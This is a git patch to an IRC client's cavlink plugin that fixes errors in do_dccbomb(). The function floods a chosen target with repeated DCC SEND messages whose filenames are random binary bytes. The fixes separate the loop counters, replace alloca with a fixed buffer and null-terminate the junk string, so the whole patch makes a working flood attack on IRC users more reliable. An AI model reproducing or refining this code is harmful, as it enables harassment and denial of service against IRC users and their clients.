From f621f48a2574906ce216fa06d65358d231bc34d1 Mon Sep 17 00:00:00 2001 From: Kevin Easton Date: Fri, 24 Nov 2017 23:17:39 +1100 Subject: [PATCH] Fix some obvious errors in do_dccbomb() --- dll/cavlink/cavlink.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/dll/cavlink/cavlink.c b/dll/cavlink/cavlink.c index 5a91346..4af7871 100644 --- a/dll/cavlink/cavlink.c +++ b/dll/cavlink/cavlink.c @@ -456,14 +456,14 @@ static unsigned long cav_randm (unsigned long l) int do_dccbomb(int server, char *target, int repcount) { -char buffer[BIG_BUFFER_SIZE]; -int i; -char *text = NULL; + char buffer[BIG_BUFFER_SIZE]; + int i, j; + char text[100]; + if (server == -1) server = primary_server; if (server == -1) return 1; - text = alloca(100); for (i = 0; i < repcount; i++) { snprintf(buffer, IRCD_BUFFER_SIZE, @@ -474,8 +474,9 @@ char *text = NULL; cav_randm(time(NULL))+i, (long)(time(NULL)+i), cav_randm(time(NULL))+i, cav_randm(time(NULL))+i, (long)(time(NULL)+i)); - for (i = 0; i < cav_randm(80); i++) - text[i] = cav_randm(255)+1; + for (j = 0; j < cav_randm(80); j++) + text[j] = cav_randm(255)+1; + text[j] = 0; snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :DCC SEND %s 2293243493 8192 6978632", target, text); my_send_to_server(server, buffer); }